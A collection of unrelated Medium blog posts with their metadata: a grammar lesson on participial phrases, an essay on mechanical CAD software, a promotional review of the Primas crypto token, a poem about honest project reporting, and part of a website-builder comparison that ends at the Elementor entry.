In my last Writing Well post, I explored participles that express “an action or a state of being (as a verb does)” while modifying “a noun or pronoun (as an adjective does).” In the example “Laughing, the boy tried to catch the jumping frog,” the participle “laughing” modifies “the boy,” and the participle “jumping” modifies “frog.”
But, you might argue, both “laughing” and “jumping” aren’t always used to modify something as in these examples: “He enjoys laughing” and “She enjoys jumping.” As I noted in my Writing Well post on “ing” words, there are three types of words that share the “ing” ending: participles, verbs, and gerunds. When an “ing” word modifies something, though, it’s a participle.
When an “ing” word is preceded by a “to be” verb (“am,” “is,” “are,” “was,” “were,” “be,” “being,” or “been”), it’s also a participle. And participles can end not only in “ing” but in “ed” (as in “encouraged”), “en” (as in “forsaken”), “d” (as in “tired”), “t” (as in “dealt”), “n” (as in “seen”), and “ne” (as in “gone”). All participles are formed by adding one of the listed endings to a verb such as “laugh,” “jump,” “encourage,” “forsake,” “tire,” “deal,” “see,” and “go.”
Participial phrases and punctuation
Definitions of the term “participial phrase” are detailed. Once you understand participles, though, it’s easier to understand participial phrases by looking at examples such as the following. In each, the participial phrase is in italics, and the participle within the participial phrase is in bold:
Encouraged by her good grades, she began to study more.
His toddler, tired after such a busy morning, fell asleep.
Students engaged in extracurricular activities may enjoy school more.
Her daughter raced to the finish line, breaking the record.
They saw the storm approaching from the west.
You’ll notice that while each of these sentences includes a participial phrase, only some of these sentences include one or more commas. The need for a single comma or dual commas with a participial phrase is determined by the phrase’s placement and, when it doesn’t start a sentence, the type of information it provides or its proximity to the noun or pronoun it modifies.
In the first example above, “Encouraged by his good grades” begins the sentence, so a comma is needed after it. In the second example, “tired after such a busy morning” appears in the middle of the sentence but does not provide information essential to the meaning of the sentence, so it’s set off by commas. In the third example, “engaged in extracurricular activities” also comes in the middle of the sentence but is essential for the sentence to make sense, so no commas are added around it. As I state in my Writing Well post on appositives, “While extra info requires commas, essential info does not.”
In the fourth example, “breaking the record” comes at the end of the sentence but is far from the noun it modifies (“daughter”), so a comma is needed before it. And in the final example, “approaching from the west” ends the sentence but immediately follows the noun it modifies (“storm”), so no comma is needed.
The dreaded dangling modifier dilemma
I’ve mentioned issues related to poor sentence construction in multiple posts. When a prepositional phrase is involved, this issue can look something like this:
“Staring out the kitchen window, the view of his garden reminded him to call his dad.”
As the Purdue OWL website puts it, this is an example of a “dangling modifier error.” “Since the modifier (the participial phrase) is not modifying any specific noun in the sentence,” the modifier is “left dangling.” Please don’t do that to a poor prepositional phrase.
Since it makes no sense to say “the view” (or anything else but a living thing with eyes) is “staring” out any kind of window, this sentence should be rewritten to put the noun or pronoun the prepositional phrase modifies immediately after the prepositional phrase. This option, for example, would work: “Staring out the kitchen window, Simon was reminded by the view of his garden to call his dad.” Or this option with a longer prepositional phrase might be better yet: “Staring out the kitchen window at his garden, Simon remembered to call his dad.”
Either way, your reader will thank you. | https://writingcooperative.com/why-sentence-structure-really-really-matters-especially-with-participial-phrases-207e06332fc3 | ['Karen Degroot Carter'] | 2021-09-12 15:02:26.046000+00:00 | ['Writing Well', 'Editing', 'Self Improvement', 'Education', 'Writing'] |
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Mechanical CAD: Yesterday, Today, and Tomorrow | Computer-aided design, or CAD, has been around since the 1950s. The first graphical CAD program was called Sketchpad and came out of MIT¹. Since then, CAD has become essential to designing and manufacturing a hardware product. Today there are multiple different types of CAD. This article will be focused on mechanical CAD, used for mechanical engineering.
In digging into the history of computer graphics you will find some interesting connections between the most ambitious and notorious engineers. Ivan Sutherland, who won the Turing Award for Sketchpad in 1988, had Ed Catmull as a student. Ed Catmull and Pat Hanrahan won the Turing award for their contributions to computer graphics in 2019. This included their work at Pixar building RenderMan, which was later licensed to other filmmakers. This led to innovations in hardware, software, and GPUs. Without these folks, not only would we not have mechanical CAD, we also wouldn’t have the level of animated films we have today. We wouldn’t even have GPUs!
Modeling geometries has greatly evolved over time. Solids were first modeled as wireframes by representing the object by its edges, line curves, and vertices. This evolved into surface representation using faces, surfaces, edges and vertices. Surface representation is very valuable in robot path planning as well, not just modeling solids. Wireframe and surface representation contain only geometrical data. Today, modeling includes topological information to describe how the object is bounded, connected, and its neighborhood².
OpenCascade, Parasolid, and ACIS are all what is known as a boundary-representation kernel, most people refer to them as B-rep kernels. A B-rep model is composed of geometry and topology information. The topology information tends to differ depending on the program used. B-rep file formats include STEP, IGES, NX’s prt, Solid Edge’s par and asm, Creo’s prt and asm, Solidworks’ sldprt and sldasm, Inventor’s ipt and iam, and AutoCad’s dwg.
Visual-representation, or vis-rep, models tend to be much smaller in data size than b-rep models. This is because they do not contain as much structural or product management information. Vis-rep models are approximations of geometry and are composed of a mass of flat polygons. Vis-rep file formats include obj, STL, 3D XML, 3D PDF, COLLADA, and PLY.
CAD programs tend to use b-rep models while animations, game development, augmented reality, and virtual reality tend to use vis-rep models. However, the two are interchanged frequently. For example, if you had a b-rep model you were using for manufacturing but wanted to load it into Apple’s ARKit for some animations, you would first convert it to COLLADA, a vis-rep file format. The file should already be a bit smaller from dropping all the CAD data. If you wanted to make it even smaller you could tweak the polygon counts on each of the meshes for the various parts.
The tools we build with today are built on the shoulders of giants! But there is a tremendous amount we could do to make them even better. At some point, mechanical CAD lost some of its roots of innovation. Let’s dive into a few of the problems with the CAD programs that exist today and how we can make it better.
Single-threaded
Since most CAD kernels are built on cores from the 80s, they were not built for modern systems. Even if you have the latest CPU or GPU it won’t do much to help the performance since most of these programs are single-threaded³, or have single-threaded aspects, and have no awareness of a GPU. Sure, some of these kernels have been updated since the 80s but their roots are still tied to their predecessors⁴.
That does not mean that all CAD kernels are _entirely_ single-threaded. Parasolid is multi-threaded but that still means if you are importing or exporting to a file format other than Parasolid, you might have just switched back to a single-threaded process. Another example of a multi-threaded kernel is ImplicitCAD, which is written in Haskell.
One problem with making a whole CAD program multithreaded is the different file formats. For example, a STEP file, whose format dates back to the 80s⁵, pretty much mandates the need for a single-threaded process⁶. Additionally, most parametric CAD operations are single-threaded. However, the open-source project SolveSpace, which uses non-uniform rational basis splines (NURBS), has some parallel operations.
Duplication
In software development, when you want to get the contents of a memory address, you use a pointer. This allows you to reference the same content of memory over and over again without the expense of copying the content itself.
Some products built in CAD may never duplicate a part of their model ever — lucky for them! For folks who do have multiple similar parts in their CAD designs, most CAD programs are creating very expensive copies of the parts.
For example, let’s imagine a model of a server rack. The _default_ method of copying a part⁷ in Solidworks, as well as many other industry wide CAD programs, is to copy the entire contents of a child model to a new model. So if we have 32 sleds in our server rack and we use the default copy method in Solidworks, we have 32 of the exact same model in individual copies. This is very expensive! As you can imagine, each sled has a bunch more models inside, and then those models have child models as well. This exponentially increases the work on the kernel and on our program to even load our model in the first place since the program does not know these are all the same thing.
If we think back to software development, what we really want is a form of pointer to the model. In the CAD world, these are called instances. Then we can have one copy of the model stored, and all the other instances are actually just a reference to the original copy. This also saves the user a bunch of time! Imagine having to update parts of models in 32 different locations when a part in a sled changes. No one could describe this better than Albert Einstein when he said, “The definition of insanity is doing the same thing over and over again, but expecting different results.”
While the default copy method in Solidworks is very expensive, they do offer another option that is more in line with how pointers operate. However, since this is not the default, you can imagine most people might not even realize there is a better way. This might seem mundane and the answer should be “just use the other way”, but products should try to make the default path lead to the least amount of pain. Instead of having two methods for copying, have one! Make the default method act more like a pointer (or instance) _until_ the geometry, surfaces, or topology of the copy (not the main) has changed. In which case warn the user that this will now act like a unique part aside from the main copy. Or the user might have mistakenly meant to apply those changes to all the copies in which case they should apply the changes to the main copy.
There is another huge problem with this as well. Each individual CAD program has their own way of implementing and referencing instances. So if you export your program from one CAD program to another, likely you will still have 32 individual sleds versus the concept of 1 sled and 31 references to the original sled with only the xyz coordinates changed. Some programs offer ways to import instances but it all relies on the type of file format you are importing and if they have the support for that.
As an additional cherry on top, even if you are using instances you are still at the mercy of the single-threaded kernel and likely none of the copies are going to render in parallel.
Version control
For software teams that are accustomed to using git, having the ability to diff, fix merge conflicts, and work as a team in parallel on the same file is a huge time saver. For mechanical CAD, there are a number of startups trying to solve this problem.
Instead of re-inventing version control for CAD, folks who use git today want to continue to use git and not have to add another tool to their workflow. The way CAD files are today, there is no way to push them to a git repo, have several people modify the file, and resolve merge conflicts⁸. For all the startups working to solve version control for mechanical CAD, this is why they had to reinvent the wheel.
However, in a world where we could make a kernel that fully utilizes a modern CPU and GPU, can we not also use a file format that is human-readable and would allow for resolving merge conflicts? When you ask yourself “what is human readable and works well with git?”, the first thing that comes to mind is a programming language.
The other great win from using a programming language is: even if you don’t use git or want to use git, there are many different options already for version control of human-readable files. Additionally, integrations with GitHub and other version control tools could be extended with wasm support so that diffs could be visualized as renders as well.
Programmable
Let’s think back to our example of the rack of servers. If part of our rack contained complex math that we were calculating in a program like Mathematica, we would have to continuously re-evaluate the math in another program and update it in our model. If instead we could program in the CAD program itself, then we could do all our calculations in one place and the model would update if anything in our equations changed.
For our rack of servers, each sled has network cables that connect to the back of the sled. Using the GUI it is quite hard to make these perfectly aligned with the connector on the sled. Someone would have to sit with the model for an hour or so just tweaking each individual cable to be perfectly aligned. That is a huge waste of time! Rather, if we could program the alignment of the cables, we could ensure each was perfectly aligned with the connector.
The need for programming becomes even more acute if you want to do mesh or topology optimizations. Unfortunately, most optimizations are implemented through GUI click interfaces, and given their complexity to define, can often be more trouble than they are worth. Today, some of the industry used programs allow for scripting, but their APIs are COM based and as you can imagine built in the 90s. But it’s great they even offer it for the ones that do! Thank you AutoCAD for being the first CAD command line interface I got to use!
For the modern world, it would be great to generate sdk clients for the CAD program in every language. Much like how API clients are generated. This way, anyone could program in any language! It greatly lowers the barrier to entry since you wouldn’t have to learn a new language. This would allow for complex math to be done in the CAD program itself versus using Mathematica, MATLAB, or Wolfram Alpha.
A few scriptable CAD programs exist today and are great examples of paving the way for this: ImplicitCAD, libfive Studio, OpenSCAD, CadQuery, FreeCAD, and ruckus. Blender has a great console interface. Three.js, while not CAD oriented, is also another great example of 3D programming languages. Jonathan Blow’s Jai is for writing systems-level code, and a great example of creating a language thinking heavily about performance⁹.
Most of the mechanical engineering community is tied to the GUI, so you’d also need a way to generate code from GUI interactions. This is quite similar to an HTML “point and click” GUI that generates code on the backend. This allows folks who want to script to script and others who want to click can click. Both worlds can be happy — code on the left side, render on the right, just like a markdown editor.
If there is an SDK client for the CAD program and underlying kernel, you can imagine a very rich ecosystem of plugins and tools emerging much like the ecosystem that surrounds VSCode, vim, and emacs. Most CAD editors used for products are very closed off and don’t allow for this type of community-based development and sharing. Plugins could be written for any use case, for example: mesh/topology optimizations and supply chain system integrations. This includes the functionality for finding parts, creating bills of materials (BOMs), and computing lead times for parts of the model. Today, this is usually done in separate programs or even spreadsheets.
I’d personally love plugins to support a command+P function. In most programs, when you want to print something, you hit command+P¹⁰. For mechanical CAD, when I want to “print” my model the underlying program should discover all the 3D printers and machines on my local network (or plugged directly into my machine) and send the parts of my model that are compatible with that machine to be printed. You could even take this a step further — in a fully automated factory with robots, the program should set up and start the assembly for the model and all the parts.
Speaking of 3D printing, let’s dive in a bit to the STL file format. The STL format was defined in 1987 and its namesake comes from stereolithography, the first method of additive manufacturing. STL files represent geometry in a series of triangular surfaces. Since STL is a vis-rep format, it does not hold any data about internal structure, color, texture, or any other CAD data that a b-rep format would contain. Modern 3D printers have innovated past the simplicity of the STL format. For example, if you wanted to print a full color model, you should use a VRML (Virtual Reality Modeling Language) file or you’d need an STL file associated with textures in order for the printer to add color and texture to your object. Plugins can ensure that your printer gets the right data for your specific model, without the pain of conversion and make sure no materials or textures are dropped.
Testing
The test flow of CAD models usually consists of running simulations. These can be for various different things but we can use airflow and thermals as examples.
In the software world, after pushing our code updates, typically a CI is run on our changes letting us and our teammates know if we broke anything and our code is safe to merge. CAD should work in the same way. If we make changes to a model, our simulations should run in a CI to let our teammates know if our code is safe to merge. Most of these simulations are very compute intensive so being able to offload the simulations to the cloud or remote servers would also be ideal.
Much like VSCode and other editors have nice plugins for offloading tests to other computers, a modern CAD program should have the same.
User Experience and Design
After trying numerous different industry CAD programs, most have one thing in common: a user interface that looks like it is from the 90s. It is a bit ironic that a tool used for mechanical design has not considered the design and experience of its user interface. Most CAD programs are in need of a makeover, however there are a couple outliers that do interface design well. Shapr3D, an iPad CAD app, has a great design and very intuitive interface. SketchUp has a more intuitive and beautiful design.
Additionally, CAD applications need to be native on MacOS, Linux, and Windows. Native applications built for their specific platform perform better than ones built with Electron¹¹ and the like. Especially for a program as graphics heavy as CAD, it is best to utilize the underlying OS graphics mechanisms to get the best performance possible. Today, you can only use CAD programs on the single OS that is supported by that specific program. Additionally, most of them use archaic GUI frameworks that truly show their age.
OnShape changed the mold by offering a software-as-a-service (SaaS) CAD program. This allows expensive compute processes to be easily offloaded to the cloud. This was truly revolutionary and a great idea. However, this limits users ability to work offline. In contrast, native apps can work offline but also have the ability to offload workloads to the cloud when you are connected to the network.
By focusing on having an intuitive design that does not fall into a trap of complexity, both new users and pro users should be productive. Just like I would use vim for a side project and also professional projects, I would expect my CAD tool to work for building a toy for fun, just as well as it would work for a complex project. A lot of this comes down to the interface design and extensibility through plugins.
A better tomorrow
Each of these aspects needs to be thought through for a new CAD program. To date, not one existing CAD program has solved all of these problems.
We owe so much of the amazing innovations of computer graphics to brilliant folks like Ivan Sutherland, Pat Hanrahan, Ed Catmull, John Carmack, and so many others. I can only hope some truly revolutionary changes are headed to the world of computer-aided design in the same way that computer graphics pioneers paved the way for rendering, animations, and virtual reality.
The hardware industry is desperate for a modern way to do mechanical design. A new CAD program built for the modern world would lower the barrier to building hardware, decrease the time of development, and usher in a new era of building! | https://medium.com/embedded-ventures/mechanical-cad-yesterday-today-and-tomorrow-981cef7e06b1 | ['Jessie Frazelle'] | 2021-03-23 18:11:12.980000+00:00 | ['Hardware', 'Engineering', 'Manufacturing', 'Mechanical Engineering', 'Software'] |
[Project Spotlight] — Primas | (Primas, 2018)
What Is Primas?
Primas is an open ecosystem on the Ethereum network that aims to restructure the content market, specifically in content production, selection and consumption. Being fairly new in today’s cryptocurrency market, Primas’ approach to integrate its ecosystem into consumers’ daily lives is not a common one you’d see in today’s blockchain projects.
Problems Primas Aims to Solve
Credibility Issues Caused By Information Overload
Most information on the Internet is contained in a single URL with only the information itself in it. Inevitably we as content consumers are faced with several pieces of information with similar content. Though accessible, information on the Internet can be easily distorted after several transfers. The distortions often lead to credibility problems where it’s extremely difficult for content consumers to distinguish between original information and tampered information.
Solution: Using blockchain technology, Primas introduces a Decentralized Trusted Content Protocol which creates immutable and traceable metadata to any content. The metadata is contained in Primas DNA (a globally unique fingerprint), and provides the users with author’s credit, original publication time and modifications made after creation. Along with Primas DNA, the Primas community can rate and validate if a piece of content is credible or not.
Plagiarism And Piracy; Indecent Content Quality
Rights of digital content are hard to protect in today’s market due to 1) poor content origin traceability, 2) a lack of automatic authorization mechanism, and 3) difficulty in infringement detection. Many content producers put out indecent content, even stolen content, just to gain attention and profits.
Solution: Primas DNA in combination with smart contracts and Proof of Existence on blockchain are implemented to ensure full traceability of content origin, build automatic authorization mechanism, and reduce evidence collection cost for infringement detection. Also a content evaluation system is built to measure content quality and reward content producers/contributors.
Content Manipulation By Centralized Platforms; User Data Abuse
Search engines manipulating search results by prioritizing certain sources while marginalizing others. Recommendation engines proactively recommending content to users by collecting their personal data in the background, and analyzing their characteristics.
Solution: The Primas network deploys a user self-governance system where the user groups (divided by interests) are governed by their own algorithms, instead of a centralized algorithm. In addition, Primas only records information that must be disclosed (e.g. author’s name) on the blockchain, leaving privacy-sensitive data (e.g. browsing history) off the main network.
The Primas Token (PST)
An Inflationary System
Additional Primas tokens will be issued annually at an inflationary rate that decreases gradually until reaching zero. All additional tokens will be used for rewards.
Token Locking
Some tokens will be locked for a period of time to restrict the amount of allowed operations that bring incentives. As the Primas community grows, the total amount of tokens locked will increase. Ultimately the circulating supply of Primas tokens will go down over time, and eventually diminish.
Payment Requirements
Primas tokens will be used to create payment requirements for transactions. As more payment requirements are created (i.e. more frequent operations), the tokens will eventually be running short. Not only will this value flow benefit the token holders by driving the unit price of PST up, it also strengthens the relationship between the token holders and the Primas community.
Uses In Specific Operations
Primas tokens are primarily used in following operations:
Account registration
Content creation
Founding, joining content groups
Content interaction (like, review, repost)
Content reproduction
Additional details on Primas token can be found in Primas whitepaper.
Remarks
Primas’ unique approach of bringing quality content to the public and ultimately rebuilding the content market is ambitious yet realistic. We particularly like the idea of turning digital contents into tradable digital assets as a way to protect and reward the content creators. The project also has quite a few advantages over other similar projects. The most obvious one being that the Primas team, consisting of the core members of the successful commercial blockchain project, Yuanben, is highly experienced on product level blockchain technology. The team has gained profound industrial recognition after working in the Internet media industry for many years. In addition, as most projects are facing serious challenges in product level applications, Primas already has its core functions implemented and tested in large scales. Alongside with the team’s previous experience in development and operation of a mobile browser, Primas is one of the most promising projects we have seen this year.
Author: Jay Jie
Co-author: Ken Trube, Liam Hodash | https://medium.com/cypher-core/project-spotlight-primas-848b0b111ad6 | ['Cypher Core'] | 2020-08-12 03:40:22.484000+00:00 | ['Blockchain', 'Bitcoin', 'Crypto', 'Cryptocurrency', 'Project Spotlight'] |
The Sorry Tale Of A Project Fail | The Sorry Tale Of A Project Fail
Photo by Daria Shevtsova from Pexels [cropped]
Welcome my friends, do gather round
For a grizzly a tale as can be found,
OK, not quite grizzly but still a tale
Of mistakes and woe and a project fail.
Perchance you’ll blanch when I confess
Our project seemed like a success,
We iterated and delivered,
At release sign-off I barely quivered,
Confident all would be impressed,
Imagine, then, quite how distressed
I was to find they did not care,
They behaved as if I wasn’t there;
Photo by Marcelo Jaboo from Pexels
When I returned to face the team
I tried to smile and make it seem
As if their work was well-received
But I could see they weren’t deceived,
We had done well yet somehow, sadly,
I’d failed my team extremely badly.
With time gone by I can look back
And see the places I lost track:
To start with, I was not courageous,
I found low-trust meetings were contagious,
The managers saw a Scrum Master
As a whip to make the teams work faster…
Add to that a weekly forum
Where we all maintained utmost decorum,
Dare to paint your project un-green
And you’d be seen to contravene
The sacred code of reporting status
And find your career put on hiatus;
Photo by Pixabay from Pexels
Such was the climate of cold fear
But that’s no excuse to be unclear:
A green project has no meaning,
In fact, it’s rather overweening,
If it means we all pretended
Until the project nearly ended,
When the truth bursts overnight:
Green flips to red in an almight-
-y mess of apparent sudden failure
Of the most catastrophic nature;
Remember it runs in both directions:
From red to green as we make corrections,
Our project’s red did dim to amber
Breathless to true green we did clamber;
But they didn’t care for I didn’t say
What really happened on the way;
I learned that it’s imperative
To tell an honest narrative. | https://medium.com/serious-scrum/the-sorry-tale-of-a-project-fail-4e28daf015ff | ['Farah Egby'] | 2020-12-01 08:35:07.043000+00:00 | ['Courage', 'Transparency', 'Poetry', 'Serious Scrum', 'Agile'] |
13 Best Website Builders For Any Occasion Among 30+ Tested | 1. Zyro — Most reliable price
website design example
Zyro is a privately held company founded not long ago in 2019. The Zyro platform is designed to create drag-and-drop websites and templates without any additional coding knowledge.
Here is a special discount for medium users. Apply “MEDIUMSPECIALOFFER”
There are indeed many offers on the website builder market, however, developing Zyro in 2019, the company released a unique product. The main strength of Zyro is its application of AI technologies. For example, you do not need the services of copywriters, since a tool such as a text generator (AI Writer) will select thematic texts for your site. Another unusual tool is AI Heatmap. It displays which parts of the website will get the most attention from users. Zyro has focused on speed and availability, which is why it uses an advanced server infrastructure from Hostinger, which is one of the largest web hosting companies. I would especially like to note that Zyro has affordable tariff plans, especially long-term ones.
creating the first website on Zyro
The process of creating websites with Zyro is extremely simple. To create a website you just need a couple of clicks: registering via email, choosing templates for the relevant topic, and setting up and editing the template.
Building a website on Zyro does not require any special skills. Everything is as simple, fast, and clear as possible. All templates are divided into categories, for example, e-commerce, business, portfolio, resume, etc. After choosing a template, you can edit it by clicking on any element on the page and changing its content or appearance. By dragging elements with the mouse or finger in the mobile version, you can position the elements anywhere on the page. New items are also added with one click from the toolbar.
Zyro is a grid-based website builder. If you have used Photoshop, you may want to know about the grid system. This approach is very popular in web development and allows you to place elements nicely and aligned on the page. this way, your website will look neat and well-organized, and you won’t need to spend any effort on alignment. In addition, the grid is also used when creating a mobile version of web pages.
Pros:
With Zyro, you don’t need to work with code;
A large set of design templates for any purpose;
A handy set of blogging tools;
Create a store in minutes using a template;
Huge selection of reliable delivery services for your customers;
Single dashboard for order and warehouse tracking;
Launch of advertising campaigns;
SEO optimization tools;
Integration with social networks;
CRM setup;
Over 1 million free high-quality images;
30-day money-back guarantee.
Best for:
very easy
Perfect for those who don’t have a lot of experience in web design. If you need to quickly create a website and configure all the necessary functions for your business, then Zyro is the right tool.
Pricing:
Low cost is one of the biggest advantages of Zyro. On average, the price for tariff plans is 3–4 times lower compared to similar tariffs from competitors.
2. 10Web — Easy of use
10Web is a one-stop platform for building WordPress sites. The platform offers managed site hosting powered by Google Cloud. The team behind 10Web is the team behind Google Analytics WD, Photo Gallery by WD, and more. On the platform, users can find everything they need to create the perfect WordPress site. 10Web is a new service that aims to be the perfect website builder. Using 10Web, you don’t have to think about code, because you don’t need to program to create a website. One of the amenities I noted is the unified control panel. From one location, you can manage multiple websites at the same time.
10Web editor
I have said more than once that there are quite a few website builders on the market right now. However, not all of them are complete and versatile. One of the most important characteristics is the ease and accessibility of creating web pages. 10Web fully supports this concept and strives to simplify the website creation process. 10Web is a simple drag-and-drop builder. Despite the fact that it is easy to use, it is very powerful and has a large arsenal of functions. To try it out you will be offered a free 14-day version beforehand Also, it doesn’t require a credit card, so you can just use your Google account to sign in.
Below, I talk about the Elementor page builder. Since both solutions work with WordPress sites, the Elementor page builder and Elementor premium widget bundle are available on 10Web. Let me remind you that Elementor is an open-source WordPress plugin.
Speaking of simplicity, I also mentioned the power of this tool. 10Web includes over 50 plugins that you can use for your WordPress site. For example, you can add forms for simple surveys or fields for payment.
Pros:
Network security, monitoring attacks and ensuring uptime;
Google Cloud service. Which provides 10Web managed hosting. It guarantees the speed and safety of the service;
An architecture that strives for speed, using modern technologies such as Nginx for scalability, isolation and continuous availability;
Premium domain name system;
Test area — the presence of a clone of the site for testing functionality before embedding on the main site;
AI website builder.
Best for:
Like all website builders, the tool is suitable for those who don’t want to bother writing code. Of course, it will be quite difficult for a complete newbie to understand SEO and domain settings well. However, the 10Web principle is simple, which is why it is loved by thousands of users around the world.
Pricing:
There are 3 pricing plans that you can pay annually or monthly. The price for 10Web is quite affordable for both individual users and teams.
10Web pricing
3. Ucraft — Best for creativity
website designs ucraft
Another incredibly laconic and functional website builder for beginners and professionals. With Ucraft, you can create responsive websites that will be convenient to use from any device. What I noticed so special about the Ucraft constructor is its intuitive design and simple interface. With it, even beginners can easily create their own web pages. Simply follow each action according to the instructions and steps, this way you can be sure that you will not get confused. When registering, you choose one of a dozen templates for thematic groups. Each template can be previewed in advance and see if it suits you. After that, you need to fill in the subdomain name for your site and complete the registration.
sign up process on ucraft
When you go directly to the process of designing your website, one cannot fail to note the ease and simplicity of organizing the workspace. You can add widgets to your page by simply dragging and dropping to the work area. In addition, Ucraft has a wide range of pre-built blocks in addition to templates. All that remains to be done is to replace the ready-made information with content for your site. It helps you not to worry about design, as Ucraft provides you with quality and professional patterns. Continuing the description of the amazing functionality, I will add that by clicking on any element you can get a list of various available operations. For example, for images, this is cropping, visibility for different devices, adding links. When setting up forms, you can set the font, colors, alignment, size and number of fields, buttons, etc.
Besides, I noted one interesting feature of Ucraft which is the progress section. A novice user can visually see how far he has progressed in creating a website.
Also, if you want to move away from stereotypes and bring creativity to your project, you can use the Designer Tools section. It includes the following parameters:
Layout : Fine-tune the pixel position of elements;
: Fine-tune the pixel position of elements; Typography : customizing fonts;
: customizing fonts; UI kit: buttons and other elements with which the user interacts.
Pros:
Drag & Drop editor;
All elements on the page can be edited;
Adaptive layout;
Connect analytics tools from Google Analytics;
Connecting an SSL certificate to a domain;
Teamwork on a project;
Wide possibilities of interface customization;
Built-in logo editor.
Best for:
Ucraft is a platform for creating dynamic, stylish, and modern websites for business, creativity, and blogging. The target audience of this service is small and medium business owners. In addition, the tool may be of interest to client site developers, freelancers, and designers.
Pricing:
ucraft pricing
Ucraft provides 4 custom development plans and 3 branded pricing plans. On the site, in the pricing section, you can see in detail all the information about the functionality of each tariff. I will only note that Ucraft is a medium-priced tool and at the same time affordable even for a beginner. There is also a 14-day free trial when you can fully try out the builder.
4. Webflow — Best for advanced users
Webflow is an American company founded in 2013 that provides SaaS services for website creation and hosting. The tool allows users to build responsive websites based on a drag-and-drop mechanism using browser-based editing instruments. The magic is simple: while the user is creating the website, Webflow is generating HTML, CSS, and JS code. Webpages built on Webflow are powered by Amazon Cloudfront and hosted via Fastly.
What I personally enjoyed was the guidelines helping users to get adapted to the process of creating a website on Webflow.
webflow guidelines
Before starting work, you will have to go through a short tutorial on how to use the platform. Each action is clearly instructed and you cannot proceed further until you have followed all the instructions correctly. The tool is not extremely simple, the skill level is expected to be above average. Therefore, such instructions really help a lot for those who use Webflow for the first time.
Although Webflow does not involve coding, thus attracting newbies, with a basic understanding of the HTML markup language it will be much easier for you to navigate. For example, not all users may know what a div block is. And so with all elements and widgets — they are named as basic HTML tags and also as CSS property or attribute classes. The syntax and name of HTML/CSS tags can confuse newbies and give them a false impression of the ease of use of website builders. For more advanced users, there will be no difficulty. On the contrary, those who are already familiar with HTML/CSS and JS site layout will see only a huge advantage in the absence of the need for coding.
Let’s talk a little about the editor features in Webflow. The editing space can be divided into 3 logical areas: the canvas as a workspace and 2 sidebars on the sides. The right sidebar contains settings and properties that you can edit depending on the selected layout or element. The left sidebar represents elements for forming the structure of the site — blocks, widgets, a library of elements, store settings, etc.
I would like to pay special attention to the extensive options of the store. There are quite a lot of options here, for example, bulk export and import of goods in CSV format.
setting up store on Webflow
You can customize payment methods, currencies, shipping methods, and taxes. However, if there are no banking system options that you use locally, then you will have to add it through the code. The developers paid attention to the design by providing the ability to design a showcase, basket, product page and order form, product properties fields, images, etc. You can track the status of the product in the order panel. Setting up a store is also not quite simple, it is more suitable for advanced users, but the result can be quite successful and effective.
Pros:
Enabled CMS — system for managing content including creating and publishing posts, making changes in designs, editing and so on. It is used to provide and organize a collaborative process for creating, editing and managing content;
The dashboard contains all your projects that can be organized and sorted by folders;
Provides extensive security settings. This is especially noticeable in the form settings, namely captcha, access registration, passwords, message delivery addresses;
You can save draft blog posts and add posts to your reader’s recommendation;
Contains hundreds of ready-made templates to take design hassle off of you.
Best for:
As I already mentioned, Webflow may be hard to master for beginners. Since it has quite a lot of advanced features, it is better for prototyping in case you are aware of HTML and CSS. Nevertheless, Webflow will facilitate the development of sites for specialists who previously wrote code. The tool offers a lot of templates for online stores, blogs and personal websites, so it is suitable for small and middle businesses.
Pricing:
The peculiarity of this constructor is that the demo version is provided here forever. You don’t need to enter a bank card, you sign up through your Google account or email and access the tool for free. You will have 2 projects in your arsenal, full control over the design, over 100 hours of tutorials and publication on webflow.io. Paid plans have been divided into 2 categories — site plans and service plans:
Webflow pricing plans
The basic site plan starts from 12$/month if paid annually or 15$/month if paid monthly. Ecommerce plans are more expensive 29$ to 212$ but allow you to checkout on your domain. Account plans are divided into individual and team plans.
5. Wix — Best for design freedom
Firstly, we will consider perhaps the most popular website builder. Wix is an international platform for creating websites and their mobile versions using drag-and-drop tools. The service is constantly evolving and in recent years the number of its users has reached 200 million according to their statements. Wix is a typical SaaS (Software As A Service) representative. This is why you can manage your site projects from any device after logging into your account.
business website templates
The process of creating websites on Wix is very simple. You just need to choose a template from those offered for your chosen topic. The site uses a very interesting tool Wix ADI. It is an artificial intelligence-powered tool that prompts you to answer a few questions to suggest templates for related topics. The builder has a huge number of templates, so you can be sure that you will find something to your liking.
Next, you go to the section for editing the template. Based on the selected pattern, you choose the settings according to your brand and identity. As for me, Wix is the best website builder for those who love freedom while creating. It allows you to drop elements anywhere on the template. However, some of the web builders work only according to the grid. Another thing I liked is the wide set of functions on offer. For instance, you can add such vidgets as appointment scheduling, order tracking, music distribution, maps, product widgets, etc.
Wix website settings
When creating a website, it is very important to pay attention to such points as domain connection and search engine optimization. For many people, these are rather incomprehensible topics, they are not so easy to deal with. However, Wix has done everything so that you can easily customize your domain name and search engine optimization.
Here are some awesome and inspiring websites powered by Wix:
If you are still a fan of programming, then with the simplified development tool Wix Velo you can make your site more functional. To do this, you need to activate Wix Velo, and then you will be able to add databases and JavaScript code. You can use databases to collect user data, conduct polls, and create dynamic pages, while JavaScript allows you to create your own applications.
Pros of Wix:
Responsive templates;
Logo maker;
Built-in editor for professional developers;
Simple and intuitive interface;
App Store with over 350 positions;
Search engine optimization module;
Wix Velo — a platform for developing and managing scripts, building applications, and managing databases.
Best for:
The service is perfect for creating small online stores, business card sites, portfolios. Wix is a great tool for creatives who want to create a website with a personalized and impressive design. For small and medium-sized businesses, individual entrepreneurs, this is an affordable opportunity to create a website to provide their services.
Price:
There is a free version with which you can try working with the constructor. The combo version allows you to edit your domain name and work without ads for $18/month. The Unlimited plan comes at $23/month and gives you 10GB of storage, good for larger projects. Business Basic is available for $28/month and allows you to sell online. For more information on what exactly is included in each plan, visit the official Wix website.
6. Elementor — Best for WordPress
Elementor is a website builder that appeared in 2016. It is used for the layout of landing pages, blogs, online stores, etc. Very often, WordPress users are faced with the fact that it is difficult for them to figure out how to create sites on the platform. As a result, they are unhappy with the choice of the tool. Elementor solves this problem by providing a universal website builder for creating websites of any complexity and configuration. With the help of ready-made elements, you can make up sites without special knowledge and programming skills. The slight difference between Elementor is that it is a WordPress plugin. Namely, to work with Elementor, you need to create a WordPress site and install the Elementor plugin. If you want to make the most of WordPress resources but are hesitant due to a lack of coding or web design skills, then the plugin will help you build sites with ease. Elementor turns your WordPress site into a website builder that is easy and simple to work with.
After registering on the Elementor website, you will be asked to answer a few questions to find out your user experience and goals. This is necessary to make a selection of templates in accordance with your interests. Next, you will be asked if you have a site to which you will connect the plugin, or whether you will be offered to configure the site if it does not exist.
process of website creation on Elementor
